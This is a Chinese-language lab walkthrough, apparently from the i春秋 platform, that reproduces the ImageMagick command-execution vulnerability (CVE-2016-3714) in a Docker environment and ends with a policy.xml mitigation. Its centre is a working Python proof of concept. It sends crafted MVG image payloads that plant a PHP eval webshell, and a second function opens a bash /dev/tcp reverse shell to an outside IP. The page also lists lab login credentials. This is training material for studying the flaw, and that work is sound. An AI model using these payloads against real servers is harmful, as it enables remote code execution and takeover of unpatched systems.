安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)

前言

  • POC即概念验证Proof of Concept,通常是指Docker官网

    Docker 百度百科

    Docker 教程 | 菜鸟教程

    POC测试 百度百科

    ImageMagick官网

    ImageMagick中文官网

    ImageMagick 百度百科

    一、实验环境

    实验链接

    环境 版本
    操作机 Ubuntu 14.04
    ImageMagick 小于等于6.9.3-9
    用户名 密码
    user 123456
    Linux命令 介绍
    docker exec -it [名称/镜像标识号] /bin/bash 启用apache服务
    docker image 查看已有的docker镜像
    exit 退出目前的shell
    ls 查看当前路径下的所有文件
    service apache2 status 查看apache服务运行状态
    sudo [用户名] 切换到目标用户,需要输入当前用户的密码

    二、漏洞复现

    [1]. POC

    #!/usr/bin/env python # coding:utf-8  import requests import base64  target = "http://172.16.11.2:8080/" #目标  def doPost(url, data):     post_data = {"img": base64.b64encode(data)}     try:         requests.post(url + "/poc.php", data=post_data, timeout=1)     except:         pass   # 写 webshell def writeshell(url):     writeshell = '''push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/1.jpg"|echo \'<?php eval($_POST[\'ant\']);?>\' > shell.php")' pop graphic-context '''     doPost(url, writeshell)     resp2 = requests.post(url + "/shell.php", data={"ant": "echo md5(123);"})     if resp2.status_code == 200 and "202cb962ac59075b964b07152d234b70" in resp2.content:         print "WebShell: " + url + "shell.php"  def reverse_shell(url):         reverse_shell = """push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1")' pop graphic-context"""      # 反弹 shell     doPost(url, reverse_shell)  if __name__ == '__main__':     # 写 webshell     writeshell(target)     # 反弹 shell     # reverse_shell("http://127.0.0.1:8000/")  

    [2]. 启用docker镜像

    使用用户名user密码123456登录

    安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)

    用户user权限等级不够,使用命令docker image查看当前的docker镜像时会报错

    安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)

    用户su拥有超级管理员的权限,切换到用户su,切换时需要输入当前用户的密码

    安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)

    使用docker images查看当前可用的docker镜像
    需要用到的docker镜像为cve-2016-3714,它的标识号为3a52e631fa88

    参数 介绍
    REPOSITORY 镜像库名
    TAG 版本
    IMAGE ID 镜像标识
    CREATED 上一次创建的时间
    VIRTUAL SIZE 镜像的大小
    安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)
    • 运行docker镜像cve-2016-3714,命名为ichunqiu,并将80端口映射到本地的8080端口,
    • 8080:80前者为默认的本地端口(127.0.0.1),后者为镜像的端口
      -p表示port命令,--name表示设置临时名称,-itd表示镜像在后台运行
    • Docker run 命令 | 菜鸟教程
      Docker port 命令 |菜鸟教程
    安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)
    安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)

    查看apache服务是否启动成功

    安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)

    退出镜像

    安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)

    [3]. POC利用

    查看一下当前路径下的文件,poc.py就是我们需要执行的脚本

    安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)

    执行poc.py脚本,返回了一个shell.php的连接路径

    安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)

    [4]. 验证POC有效性

    进入docker镜像中,查看shell.php里面的内容为一句话木马,表示POC利用成功

    安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)

    [5]. 修复方案

    /etc/ImageMagick/policy.xml中添加如下代码

    <policymap>   <policy domain="coder" rights="none" pattern="EPHEMERAL" />   <policy domain="coder" rights="none" pattern="URL" />   <policy domain="coder" rights="none" pattern="HTTPS" />   <policy domain="coder" rights="none" pattern="MVG" />   <policy domain="coder" rights="none" pattern="MSL" /> </policymap>